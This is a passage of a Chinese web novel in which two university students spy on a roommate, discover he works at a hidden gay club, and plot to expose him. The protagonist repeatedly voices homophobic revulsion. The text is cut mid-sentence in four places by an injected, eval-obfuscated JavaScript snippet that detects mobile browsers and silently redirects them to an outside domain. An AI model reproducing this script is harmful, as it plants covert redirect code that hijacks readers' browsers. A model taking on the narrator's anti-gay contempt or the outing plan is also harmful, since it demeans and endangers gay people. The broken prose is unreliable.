“……都多长时间过去了,你怎么那么小心眼?”他无视掉那句控诉,“当时姓魏的聚餐会上说他老家是C市,从小在那里长大。平时他又是一副谦虚富家公子的样子,但他肯定不是C市,或者说至少其中一句话是造假的。” “为什么?” “因为C市是我爸老家,我初中之前都是在那儿上的学,C市的达官显贵基本上我都认识。魏姓也不是那么多见,我知道的人里面没有一个是姓魏的。所以我从那时候就猜测,要么他老家不是C市,要么……”戚思鸣顿了顿,煞有介事地用手指敲了敲石桌,“他一直在编造自己的家庭背景!” 姜津高度近视镜片后的眼睛微微睁大。是的,戚思鸣说到了他的家庭,就跟自己之前窃听出现的情况完全对上了。 诡异的独角戏,刺耳的电流,空无一人的电话接头。 魏黎这个人,说不定从头到脚都流着虚假的血。 “你看他平时看似不显山漏水的,一脸谦虚低调的样子,是不是大家心里都更觉得他跟其他二代们与众不同,家里有涵养,不是什么暴发户?” 姜津瞄了一眼戚思鸣浑身上下,恨不得贴脸上的名牌logo,深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849012|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为然,点点头。 “家庭背景被别人吹得天花乱坠,但其中没有一句话是出自他本人之口。人们在台前猜测,只有他自己在幕后隐身。” 主角明明没有登场,但台前配角的每一个动作,每一句台词,都是他的骨骼血肉,然后排山倒海的观众为他嘶吼呐喊。 他甚至都没有指挥他们。 如同昨晚的贴子,戚思鸣评论了之后,大家又把枪口对准了他,不铲除异己不罢休。 “或许不止家庭背景,还有其他的。”姜津陷入思考,喃喃地说,“魏黎肯定不止一处疑点……” 他下了个决定,猛地抬起头,“周日晚上六点,北校门,我带你去一个地方。” 戚思鸣一愣,“什么地方?” “一个我调查好久但始终没有头绪的地方。” “行吧,”戚思鸣伸出手作拳,“周日不见不散,魏黎迟早被咱俩拉下马来。恭喜结盟。” 他想了想又补充三个字:“暂时的。” 谁还想跟你长长久久了?姜津腹诽,但还是伸手碰了碰对方的拳头。 临走的时候姜津把两杯奶茶原封不动地带走,戚思鸣见状有些诧异:“你要全喝?其中一杯不是给我的?” “不是,”姜津顿了顿,连反驳都是那么小声,显得他在嘟嘟囔囔,“你把自己面子想得也太大了。” “……” 凌晨一点,姜津自己喝了两大杯奶茶还是有些胃胀,让他在床上辗转反侧。耳边传来陈玉吭哧吭哧的呼噜声,姜津静静听了一会儿,没有听见魏黎的声音。 魏黎其实睡觉很安静,从来不打呼噜。S大相邻铺位的床板相连,只要其中一个人翻身动作大些,另一个人也能隐约感受到。 不过姜津也很少感知到魏黎有什么大幅度动作。 以前陈玉跟女朋友出去玩,夜不归宿,宿舍里只有他们两个,有时姜津半夜梦醒,四周寂静,连针掉在地上都能听见,他就感觉宿舍只有自己一个人,有些害怕。 此时姜津偷偷把床帘拉开一角,月光从阳台射到地板上,屋里不算太过昏暗,正好能看见魏黎的床帘严丝合缝地关着,如果不是亲眼看见他上床,估计都意识不到里面有人在睡觉。 姜津默默想,抛开所有光环,魏黎到底是一个怎么样的人呢? 他重新躺回被窝,拉过被子,终于酝酿出那么一点困意。 不过没关系,不管你再怎么伪装,我很快就会知道了。 16. 恶心 周日晚上,姜津就带着戚思鸣来了虹巷所在后门的店铺门面,那里是酒吧一条街,灯红酒绿,人人往往好不热闹。 戚思鸣忍无可忍,在对街灌木丛中冒了一个头,隔着大老远看像有颗脑袋凭空出世一样惊悚。他不耐烦地说:“咱一定非得那么躲躲藏藏吗?光明正大进去不好吗?” 上次凉亭会晤,他还以为姜津要带他到什么能一举歼灭魏黎诡计的好地方,结果就是在灌木丛躲了半天,白白咬了几个蚊子包不说,蹲得他两条长腿都没有知觉。 姜津急忙把他拉下来:“魏黎也不知道在哪个店打工呢,被他看见就不好了。” 姜津素来跟戚思鸣关系不佳,若是被魏黎看见两人成双入对,心里肯定起疑心。 “我还怕他?”戚思鸣嗤笑一声,活动了一下,从绿化带跨步而出,不顾旁人眼光,拖着姜津就往对面走,“干脆直接进去问,你在那里蹲着十年过去也不一定有结果。” 姜津“哎哎”两声,猝不及防,踉踉跄跄才勉强跟上,看拗不过,只能老实跟在戚思鸣屁股后面。 姜津估算的那个后门连接的店是一间酒吧,虹巷那的情况那么复杂,他也是大概估算出这个位置,心里也没谱,只好在外面蹲守看有没有线索。 里面声音嘈杂,好多年轻男女在热舞和鬼哭狼嚎,震得他耳朵发疼。姜津讷讷道:“要不我们还是出去吧,万一正好碰上魏黎就说不通了……” 不料下一秒酒吧的服务员看见戚思鸣就拿出百分百的热情招呼他,脸上堆笑,嘴上还不停地客套,将他们引入卡座以后都不用点单,立马酒水就端上来了。 见这架势,姜津迟疑道:“你是这的常客吗?” 戚思鸣斜了姜津一眼:“我不是,难不成你是?我来那么多次,就没看见过魏黎,他肯定不是在这打工。” 怪不得刚才不由分说地拽着他往里走。 姜津缩缩脖子:“也不一定嘛,说不定他在后厨帮忙也说不准。” 话音未落,戚思鸣像看傻子一样看着他:“你环视一周,看看周围的营销和气氛组,哪怕是上酒清桌的侍应生,哪一个不是盘正条顺的?虽然咱俩确实不喜欢魏黎,但平心而论他的脸秒杀这些人不过分吧?你是酒吧老板就让他去干后厨吗?道理说不通。” 姜津想起奶茶店的张姐说过同样的话,这下是彻底没脾气了,老实闭嘴。 “亏你还是经管的呢,以后出去别说是在S大上的学。” “那我们现在怎么办?” 戚思鸣自顾自开了一瓶酒,先自己灌了两口,慢悠悠地说:“你不是说他肯定就在这一条街上的店里吗?这里人多眼杂,逮个人问问呗。他们这些喝完一场还得赶下一场的人保不齐就有人见过魏黎。” 姜津第一次来这种地方,看着戚思鸣那轻车熟路的样子,心里不由自主地乱想。魏黎现在在干嘛呢,也会像刚才那个侍应生给别人上酒吗? 跟他富家公子的人设也太不相关了,哪怕美其名曰勤工俭学。 姜津不喝酒,喝不惯那个辛辣刺鼻的味道。他百无聊赖地靠在沙发背上四处打量,不远处有对男女在激烈地交换唾液,姜津看到他们后脸刷的一下就红了,立马把视线移开。 与此同时昏暗的灯光正好投到吧台的一处,姜津看到了一张熟悉的脸。 罗禹正坐在吧台,边喝酒边跟里面的人说着话,看起来似乎很熟络。 他一下子坐起身来,示意戚思鸣往那里瞧,凑近耳朵低声说:“那个老板,就是我那天跟踪发现的。魏黎就是在他手底下兼职!” 这算是一个大发现,兜兜转转自己又碰到了这个男人,意味着自己离魏黎又进了一步。哪怕这个酒吧不是魏黎打工的地方,也是在附近了。 怎料戚思鸣见了罗禹的脸,皱皱眉头,眼神在姜津的脸和罗禹的脸上来回巡视,一脸不可思议:“你确定?” “确定。” “真不是你看花眼?” “真不是,我都近距离跟他说过话。”姜津隐约察觉出一丝不同寻常的味道,嘴上都不自觉结巴起来,“怎、怎么了,他有什么问题吗?” 下一秒戚思鸣一拍大腿,脱口而出:“我靠,那魏黎是同性恋啊!我就说自从上大学都没见过他跟哪个女生亲密,原来是这个原因!” 几乎是同一时间,酒吧里嘈杂的音乐在姜津的耳朵里万籁俱寂,甚至变成了耳鸣刺得他大脑发疼。他似乎没有听懂戚思鸣刚才说的话,嘴唇轻张,哆哆嗦嗦半天才说出一句: “……什么?” “操,咱俩可算找到一块了,什么线索都对上了!”戚思鸣跟他解释,“那个人叫罗禹,是这条街一家高级私人会所的老板,会所叫“夜色”。这个地方可神秘了,只能通过人介绍人的方式入会,光是最低档次的会费都六位数,一般人都摸不清楚它的门口在哪。至于它为什么那么神秘……” 姜津难得急躁:“你快说啊!” “因为他们的客人都是gay,其中不乏社会名流。有时特殊人物来消费,都要搜身检查是否带了手机和微型摄像头。为了确保万无一失,里面所有工作人员都是性少数群体,那个罗禹十几年前在这儿混的就很有名,他跟他男朋友分分合合折腾好多年了。” “你是怎么知道的?” “到现在这条街还流传着他男朋友因为罗禹提了分手砸了整家酒吧的事迹呢,卧槽我跟你说那些目击者绘声绘色讲得可精彩了,当时一地玻璃碴子,罗禹他男朋友抽了根烟扔下张空白支票就骑机车走人。不过现在知道的人确实少,毕竟当年一言不合就砸店的人现在也穿上西装人模狗样地继承家业了……”戚思鸣一讲到八卦就神采奕奕的,一点也不像平常拽二八万的死样子。 姜津气得急火攻心,恨戚思鸣抓不住他的重点:“我不是问他们俩,我是问你怎么知道夜色的?还有你说魏黎是同性恋真的是真的吗?” “我有个朋友就是那儿的会员,给我提过一嘴,里面管理可严了,毕竟来往的客户都不一般,有的人前天上过夫妻恩爱的营销热搜第二天就来了。不过里面确实是正经生意,夜色顶多算一个非常高端的娱乐地方,真正心思不正的是同行的人,喝到兴起牵线搭桥简直不要太方便,就看自己有没有自制力。 “至于魏黎是不是gay嘛……我估计十有八九了。夜色里面侍应生颜值都很出挑,也很会来事儿。估计罗禹看他资质还不错,性取向一样,嘴也严实……” 戚思鸣后面说什么,姜津都听不太清了。他脑子里全是魏黎喜欢男人十有八九这句话。 男同性恋,喜欢男人,这些明明是汉字,但组合在一起,并且冠在魏黎身上,却怎么也理解不了了。 这几年相处下来,身为室友,他确实没有发觉魏黎跟哪个女生走得太过暧昧,他对所有人都是一视同仁地热情,不管男女。 他曾经以为魏黎只是单纯没有谈恋爱的打算,而戚思鸣现在告诉他,魏黎是性少数群体。 魏黎喜欢男的,是同性恋。 同性恋这一词对他来说真的太过遥远,过去他的人生从未出现过这种人,也从没有任何接触。除了深柜那次,再上一次看见还是在电视上多人淫.乱的新闻。这就是他了解这一群体的所有参考。 等一下,说到淫.乱……男同们又是怎么纾解欲望的呢?姜津拿出手机,手指微微颤抖,在引擎中搜索。 不搜不知道,一搜吓一跳。他不断下滑网页,越看越觉得不可思议,眼睛愈发睁大。其中还不慎点进某个网址,他看着最上面两个不断蠕动的男人,震惊到一时失语,呼吸似乎都停止了。 这个领域太过陌生,太过……恶心…… 用那种地方……想想都反胃……怎么可能会爽到…… 他闭上眼睛,脑子里却不可抑制地浮现出刚才两个男人的动作,尤其是下面那个,表情既痛苦又有一些…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849013|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >快乐? 用那个地方,怎么可能会有快感?演的吧?姜津几乎要吐出来。 这种毛病是天生的还是后天的?他看向吧台还在谈笑风生的罗禹,就是这个人带坏魏黎的吗? 姜津嫌弃地把手机一扔,好像上面有什么病菌,沾上的话刚才两个男人就要跳出来脱掉他的裤子,拉他一起。他掀起眼皮来,对着还在喋喋不休的戚思鸣说:“……好恶心。” “什么?” 姜津看向他,一板一眼地讲:“男同性恋,好恶心。” 恶心到他恨不得把刚吃过的晚饭连同胆汁吐戚思鸣一身。 姜津屡次深呼吸,才逐渐艰难地平复情绪。过了一会,他转念一想,脑中有道灵光闪过。 姜津喃喃地说:“等等,如果我们拿到魏黎在那家会所工作,是同性恋的铁证,是不是就可以让他身败名裂?” 说到这,他突然激动起来,目光灼灼,紧紧攥着手机,呼吸都不畅,指尖都发白。 戚思鸣听了这话,缓缓后靠。现在社会不断进步,也没有人会因为性取向这个事情朝人家砸石头。他将有些魔怔的姜津的样子尽收眼底,不过嘛—— 他喝了一口酒,眼睛滋溜一转,能给魏黎那小子添点麻烦也够了。 毕竟有人肉眼可见地比他还要在意。 罗禹喝了杯鸡尾酒,跟别家老板聊聊家常就回去了。今晚会所不忙,不用他从头到尾跟着。 从酒吧出去以后,他向北走了几步拐进一家不起眼的店面,店面面积很小,十平米不到,仅仅容纳一张桌子,一个人和整墙的书。 见罗禹来了,那个人起身,连忙摁了桌面一个按钮,身旁的书架应声缓缓移动,直到出现一道深不见底的楼梯。 这里是夜色的通道之一,达官显贵们也不常走这条路,多数时候从地下停车场直达,不能再隐秘了。 走到道路尽头,罗禹叼着烟打开了一道门,里面金碧辉煌,刚才的酒吧的装修已经算是不错,但跟夜色比还是小巫见大巫。大厅挂着的画是真迹,还是从那个混蛋的保险库里求来的,给他撑撑场面。 还未拐过转角,隐约听见有人在说话,是魏黎和一个客人。 魏黎肩宽腰窄,穿侍应生的衣服像骑士那样英姿飒爽,旁边那个矮胖客人他也认得,是申城哪个财团家的少爷,姓高,喝得醉醺醺的,直往魏黎身上靠。 魏黎不留痕迹地往侧边一闪,让他扑了个空。矮胖客人正欲发作,抬头便看见对方一个笑,湿润的眼睛如同弯月,就一点气就没有了。 魏黎慢悠悠地说:“先生,刚看您走路不稳,我扶您进包厢吧。”接着打开旁边的房门,里面陪着应酬的人嘟嘟嚷嚷喊高少爷的名字,下一秒魏黎顺势将门带上。 走廊里瞬间清静不少。 罗禹走过去:“你也就是敢在我的地盘上那么干,如果别家老板看你那么怠慢摇财树,气都要气死了。” 魏黎掸了掸身上不存在的灰尘,笑了笑,不置可否。 他们俩回了休息室,魏黎正在换衣服,听见罗禹说:“最近你母亲病情好转了吗?” 对着镜子,魏黎的脸上闪过一丝茫然,但也只是一秒,接下来他面部肌肉立马牵动,组合出一副蹙起眉头的哀怨表情,低声叹气:“好是好了一点,但医生说出院还要一阵子。” 他眉目低垂,神情哀哀:“禹哥,当初不是你收留我在这兼职,那么多的医药费和学费,真不知道怎么办才好。我真的很感谢你的照顾,真的……” “没事儿,”罗禹拍了拍他的肩,“都过去了。再说了几年前夜色开业的时候你就在,也算这儿的元老了,人又机灵,我早就把你当亲弟弟,你毕业了直接来这儿当经理我都很欢迎。” 听了这话,魏黎抬起头,眼中似有泪花闪过,嘴唇微张,在罗禹的视角里,像是有万千言语要讲,但最终还是隐忍地吐出一句: “谢谢你,禹哥。” 17. 人设 自从知道魏黎喜欢男人之后,姜津复盘起他的所有一举一动都能咂摸出不一样的味道来,哪怕是他已经控制自己别这样去想。 魏黎跟陈玉在宿舍嬉笑聊天,是弯恋直爱在心口难开;魏黎跟李哲打篮球半场庆祝击掌,是借着好友之名欲行不轨之事;魏黎和其他男生勾肩搭背,是隐忍不发眼神缱绻…… 总之现在他的所有行动在姜津眼里都不怀好意居心叵测,只要有男生和魏黎哪怕只是擦肩而过的一个眼神接触,也是一见钟情,下一秒就要天雷勾动地火了。 一想到有其他男生出现在他的身边,姜津就本能地感觉恶心,恨不得扯住他们的耳朵,撬开他们的脑子,费劲所有力气只为大吼一声:“魏黎是同性恋啊!” 不顾礼义廉耻,摒弃传统的男同性恋啊! 他就不信那些男生不跟他一样见到魏黎就反胃,说不定他们都跟他断交,怕沾上什么病菌。 还有罗禹,死男同,说不定就是他引导魏黎走上这条路的。他简直罪不可赦,十辈子不能原谅。 魏黎的其他地方都伪装得那么完美,他的性取向就是唯一的瑕疵,这个不能伪装,所以好巧不巧地被自己逮到。 只要如山的铁证落在他手里,魏黎被人人唾弃不就是他发个贴子的事情?就应该让前几天在论坛里骂他的那些同学好好看看自己维护的魏黎到底是一个什么样的人。 说不定会自戳双目,然后给无故被骂的自己挨个道歉。 一想到这,姜津就兴奋得浑身颤抖,他迫不及待要看到魏黎失去所有光芒,所有簇拥,跌落神坛,痛哭流涕的失意样子。 所有人都离他而去,所有人都戳他脊梁骨,运筹帷幄的得意神色不复重来。 然后,他说不定会向从未被重视过的自己伸出求助的手,像条流浪狗一样摇尾乞怜。就像现在,魏黎会放下所有自尊,口中发出呜咽,当着所有人的面给他倒酒,向他跪地求饶。 不过,他会被自己一根一根地掰开手指,毫不留情地狠狠甩掉。这将是姜津一辈子最为酣畅淋漓的时刻。 这就是他给魏黎写好的大结局。 “既然如此,你有没有什么想法?”戚思鸣的声音从很远的地方传来,让姜津好不容易从幻想中挣脱。 他嘴角都扯到抽搐,伸手揉了揉脸,深吸一口气,“既然地方都知道了,剩下的都好说。” “得,听你的。”戚思鸣将手里的酒一饮而尽,他天不怕地不怕,但不知道刚才姜津脑子里在想些什么,只看到那扭曲的神情,第一次让戚思鸣产生了一点想要远离的想法。 也不知道魏黎干了什么,能让姜津这般丧心病狂地拉其下马,他自愧弗如。以后姜津主攻,他辅助好了。 能被姜津缠上也是魏黎自己命不好,他想。 “现在就走。”姜津起身,难得利落。 戚思鸣一愣:“去哪?” “你不是说你朋友是他们那的会员吗?让他把地址门口发过来,我们先去打探打探。” 戚思鸣听了语塞,心想,姜津这厮现在脑子好使了是吧?而且又去蹲点,这样的探究精神他不当侦察兵真是可惜。 想归想,戚思鸣还是给那个朋友发了消息。 “你朋友说的门口就是在这?” 在街对面,姜津好奇地盯着那家连招牌都没有的小小门面,连店门都是仅供一人通行,“你确定吗?” “这只是门口之一,地下停车场那里我们又进不去。有些会所和酒吧就是很隐蔽,进去才知道别有洞天,很正常。”戚思鸣无所谓地耸耸肩。 “但这里也看不出来什么。” 这家店就是平常很不起眼的一家,经常路过这里的人估计对它也没有什么印象。这里门口紧闭,漆黑的玻璃看不出来里面的场景,处处透着一股神秘感。 戚思鸣本来就不抱什么希望:“人家说不定要的就是这个效果,如果真被我们发现什么端倪,那些狗仔干脆辞职滚蛋吧。” 如果他们还是一无所获的话,那就必须从别的地方入手了。 姜津冥思苦想之际,突然听见身旁的戚思鸣一声焦急的呼喊,他扭头一看,不知道从哪里冒出来三个黑衣大汉朝他们逼近,然后用着不容置喙的语气:“我家老板有请。” 他们像三座小山一样,把两人团团围住。 姜津心脏跳得飞快,明显是自己不知道什么时候暴露了。他下意识看向戚思鸣求助。 戚思鸣下巴都要抬到天上去,朝他们喊:“你请我我就去啊?知道我爸是谁吗?你们最好别碰我,否则唔唔唔唔……!” 其中一人懒得跟他废话,直接捂嘴绑走。剩下两人看向跟鹌鹑一样的姜津。 姜津缩缩脖子,立马窝窝囊囊地跟戚思鸣划分界限:“我比他听话,自己会走,你们别动手……” 戚思鸣气不打一处来,“我靠你大爷的,姜津——”然后又被捂住了嘴。 他们被带到附近的一间ktv的包厢,一进去就看见今晚刚见过的罗禹翘个二郎腿在唱歌,唱的年代情歌像鬼哭狼嚎,偏偏他自己感觉不到,顾影自怜。 配上他的大背头和胳膊上的纹身,真是别有一番风味。 “嘿,又见面了。”好不容易一曲唱毕,罗禹示意保镖们把他们俩放开,“说说吧,你们在这附近转悠老半天了,打的什么鬼主意呢?” 姜津讷讷道:“你是怎么知道的?” “这条街哪家店门口不安个监控?”罗禹盯了姜津半晌,突然咧嘴笑了,“你还不放弃啊?就那么喜欢魏黎,非得打听他的行踪?” 姜津一愣,回过神来连忙反驳:“我没有,我不是喜欢他……” “得了吧,你跟得那么紧不是喜欢到丧心病狂是什么?”他转头朝戚思鸣点点头,“这是你好兄弟吧,能跟你一起蹲守也是情深义重了。” 戚思鸣刚想说点什么,突然姜津在桌子底下锤了他一拳,他便老实闭嘴不说话了。 行吧,被罗禹误会也比知道他们的真实目的强。 “其实我请你们来也没有别的什么意思,你们两个在门口扎堆真的太显眼了。追人总得采用正确的方式,上次我想让你知难而退,没想到你又不屈不挠的,算是勇气可嘉。”罗禹给他们一人倒了一杯酒。 姜津嗫嚅地说:“我们只是想要知道一些事情。” “关于魏黎的吧?”看姜津的表情,罗禹心中了然,“其实魏黎也没有什么特殊的,他是我见过最能吃苦耐劳的小孩,平时有什么脏活累活都是第一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849014|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,人也谦虚亲切。老天爷真的不开眼吧,非得让他平白无故受那些磨难,当时连他妈妈的医药费都拿不出……” 姜津一愣,瞳孔微微睁大,像是不信罗禹刚才说的话:“什么?” 饶是戚思鸣听了这话都在原地疑惑。 “估计他没跟你们说,二十出头的年轻人嘛,好面子也正常。”罗禹摸摸下巴,“他母亲重病,在申城的医院治了可长时间,确诊的时候他刚上大学,父亲常年在外打工,交了医药费以后身上一分钱都没有,还是我把他捡回来的让他呆这里兼职。真不是我吹,我对员工真的很好的,给的钱也多时间也自由……” 姜津和戚思鸣交换了一个眼神,之后罗禹在旁自吹自擂的话也没有人听了。 魏母重病,身上一分钱都没有? 估计学校里的人听了这话都不会相信,毕竟有人知道魏黎平时的吃穿用度,也有人亲眼看到他上了一辆劳斯莱斯。 他们俩虽然知道魏黎的真实家境没有传言得那么玄乎,但也不至于到这种地步。 一个天一个地,富家公子和拿不出一分钱的打工学生,两个极端。 “不知道你和魏黎什么关系,我劝你还是以后不要在这里晃悠了。”罗禹拍了拍姜津的肩膀,“强扭的瓜不甜,魏黎生活不容易,人也很善良孝顺,放过他吧。” 从ktv出来后,他们在路上走了好长一段路,戚思鸣才回过神来,心有余悸,啧啧称奇:“想不到魏黎是真有胆子,家里条件那样的人也敢冒充大款。校里校外简直就是两个人设,可惜刚才没录音,否则爆出来够他喝一壶的。富家少爷的做派全是假的,同学们知道不得目瞪口呆……” 姜津突然站定,戚思鸣不解地转身看他。 只见姜津缓缓掀起眼皮,眼珠里一丝光芒都没有,低声细语的:“你真信吗?” 戚思鸣顿时愣怔住。 姜津的语气飘得像是从十米外传过来,他反问戚思鸣:“你怎么笃定他对罗禹说的话就一定是真的呢?既然他在学校里骗过了那么多人,你拿什么确定魏黎不会用同一招去骗罗禹?对他来说,骗一百个人跟骗一个人没有区别,只是动动嘴皮子的事儿,而他最擅长这个。” 魏黎这个人就像一首虚情假意的拼贴诗,无数个谎言组成了他的注脚。 “哪怕我们录了音,放在论坛里,但那又怎么样?人设差距过大,没有人会信,反而接下来我们再放出他真正的丑闻也不会有人相信了。只要他们心里否定一个,剩下的哪怕是真相也不会有人在意。那些同学从魏黎身上真的获得过大大小小的好处,往小了说是一包进口零食,往大了说,魏黎就是他们跟从未接触过的另一阶层的通行券。 “现在没有人愿意戳破,哪怕很多年后他们终于意识到是假的。但风云变幻,三十年河东三十年河西,到时候真让魏黎爬上去了也说不好。 “所以,这条路行不通。家庭背景这一块我觉得没有必要也没法再查了,真真假假我们心里清楚就好。现在最重要的还是同性丑闻。” 姜津下意识咬着手指上的倒刺,浑然不知刚刚撕下一块好皮。半晌之后,他朝戚思鸣缓缓开口,语气异常坚定: “我们还是得找机会混进夜色,除此之外,都是空谈。” 18. 筹备 姜津从酒吧一条街那儿回宿舍已经很晚了,走廊里洗漱回来的人乱哄哄的,他们宿舍里倒是没有什么动静。 姜津在门口听了几秒,心里琢磨,难不成都已经睡觉了? 魏黎估计比他回来的早,不知道有没有发现他难得那么晚回寝室,会不会起疑心呢? 他一进门,只见灯还亮着,眼前一个身影闪过,语气轻快又不容置喙:“张嘴,啊——” 姜津下意识开口讲话,不巧正中对方下怀,嘴里被猝不及防地塞进一个软绵绵的东西,鼻尖都能闻到它的烘焙香味。 是一个小小的奶油泡芙,有人直接喂给他的,嘴唇上似乎还残留着对方指腹的触感。 面前正是魏黎举着一盒泡芙,眨眨眼睛,“你现在可没洗漱,总能尝一点了吧,我们特意给你留的。” 寝室里的灯已经足够亮了,但魏黎眼里的亮跟它不是一个层次。白炽灯直视会刺眼,姜津知道,但他敢直视白炽灯却不敢直视魏黎笑眯眯的眼睛,哪怕是几秒。 除去眼睛,魏黎的脸也近乎毫无缺点。此等容貌的人直勾勾看着你,亮晶晶的眼睛满是你,离得近都能看见他单纯清澈的眼睛里是自己的倒影。 姜津下意识把目光挪开,有些躲闪。 陈玉的声音从阳台那里传过来,他在晾衣服:“嘿,别往我脸上贴金,我可没想给他留,要不是魏黎拦着,我能一口气吃三盒。” 姜津轻轻一咬,入口即化的奶油便喷溅出来占满整个口腔,吞咽的瞬间喉咙都是那么丝滑,只是原味的泡芙就已经足够让人惊艳了。 他垂下眼睛来,语气轻轻的,“你们烘焙店的泡芙吗?” 魏黎点点头,有些得意:“好吃吗?今晚兼职回来的时候给你们拿的,进口的动物奶油。” 撒谎精。 姜津慢吞吞地嚼着,心想,你今晚明明在夜色。 他望向魏黎那双没有一丝杂质的眼睛,心里揣摩,现在他在想些什么呢? 是站在上帝视角把他们蒙骗得团团转而沾沾自喜,还是从罗禹那里知道,自己已经被姜津调查,对着他心照不宣? 这盒泡芙到底算是同学间的赠礼还是进攻者的让步? 今年他要在生日蛋糕前郑重许愿,希望神明能赐予他听见魏黎真实心声的能力,一字一句,毫无遗漏。 他们双方的博弈,不知道从什么时候开始,也不知道何时结束。不过好在,马上就有曙光了。 让一切顺风顺水的你也尝尝跌落谷底的滋味。 姜津扯出一个笑来,点点头附和,生涩地回答:“好吃。” 临睡前他躺在床上,望着天花板,回忆了一下今晚的见闻。阔绰大方的魏黎,生活贫苦的魏黎,还有今晚送他奶油泡芙的满心欢喜的魏黎,哪一个才是真正的他? 在陷入梦境的前一秒,姜津的舌尖似乎又尝到了奶油的甜腻,又不自觉地分泌唾液。 倘若是陷阱,这份甜度也足够让他做一个美梦了。 过了几天,戚思鸣和姜津又一次接头,他语塞地看着捂得严严实实的姜津:“你没必要吧?不知道的还以为你是什么躲天眼系统的逃犯。” 也不怪他那么说,大夏天,烈日炎炎的,姜津带着一顶黑色鸭舌帽,戴着口罩,甚至还穿了长袖。听了戚思鸣的话,他也有点不好意思:“防患于未然嘛,魏黎心眼多得很你又不是不知道,万一发现咱了真说不好。” 戚思鸣心想,就算被他看见也不会多想,你穿成这样很难不让人犯嘀咕啊,什么此地无银三百两! 算了,回归正题要紧。 “那我们派谁去?魏黎可是认识咱俩的脸,谁还愿意冒这个风险去夜色卧底?” 姜津轻声说:“我认识一个人,或许他可以去。” 不出半刻钟,南体育场附近的便利店传来一声惊呼:“我去?” 姜津和戚思鸣在员工休息室,只听小冯连连摆手滋哇乱叫:“不行不行,我平时业务是很广泛,但那个会所人生地不熟的,里面的人不是有钱就是有权,万一被识破恼羞成怒,嘎我腰子灭口怎么办?” 姜津在附近认识的人都不足一打,能放心将此等卧底重任交给对方的更是屈指可数。思来想去,他还是找来了上次给他窃听器的小冯。他已经在灰色地带接点小活,两人都知道对方见不得光的小秘密,再让他去干个事也能放心。 更重要的是他明显不认识魏黎。若是让戚思鸣去找,S大里魏黎的簇拥甚多,指不定就找到一个偏心他的,分分钟叛变,将整个计划和盘托出,这就彻底完球了。 还是小冯最合适。 “你提一个条件。” 小冯眼球一转:“我这种正直的人可干不得偷拍人的勾当。这种活不干不净的,得加钱。” 姜津心想,你这才哪跟哪,如果偷拍魏黎一张照片判一年的话,他自己先得坐十辈子牢。 两个人齐刷刷看向戚思鸣。 戚思鸣:“……” 冤大头心里暗骂一句,但还是勉强点了点头,“钱都好说,不会亏待你。” 小冯说:“还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849015|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够,”他看向姜津,嘿嘿一笑,“我还有个条件,你帮我兼职一个月,当然工资还是照常发我。” 姜津听到心都要吐血,脑子里盘算一下,给他干活一个月也没什么,毕竟平时自己也是一个人干两份活,咬咬牙坚持下来就行。 姜津有个优点就是能忍,别看蜗牛小小的,走路还慢吞吞,但还有个壳,什么都能忍。 蜗牛点点头。 他跟戚思鸣一个出钱,一个出力,也算公平。 人解决完了,就还差能光明正大进去的会员资格。戚思鸣已经向自己那个朋友借过来了,正给小冯补充人物背景。 “……你现在就是申城高氏财团的小公子,高明。你知道怎么装有钱人吗?就是保持目中无人但又看似很谦和的眼神就行。哎哎哎,不是让你鼻孔朝天,这也太夸张了一点……甩脸和亲和并存,别人自然会揣摩你的意思。不用慌,咱的目标只有一个,就是拍到魏黎在夜色工作的照片,越多越好,能拍到他跟其他客人一些互动更好。进去以后会给你发一个感应手环,上面有高明的身份信息,跟你对不上,但只要过了门口一般没人会查。” 姜津凑过来看了一眼高明的背景资料,瞠目结舌:“之前就是你朋友?原来你还认识他。” 戚思鸣挑了挑眉,又开始摇尾巴:“我谁不认识?对了,你们别把高明喜欢男人这件事到处乱讲,要是传到他爸耳朵里分分钟脑溢血。” 姜津指了指高公子的照片,那个矮胖小眯眼的男人跟面前精瘦的小冯简直扯不上半点关系,忧心忡忡:“形象一点都不一样,不会暴露吧?” 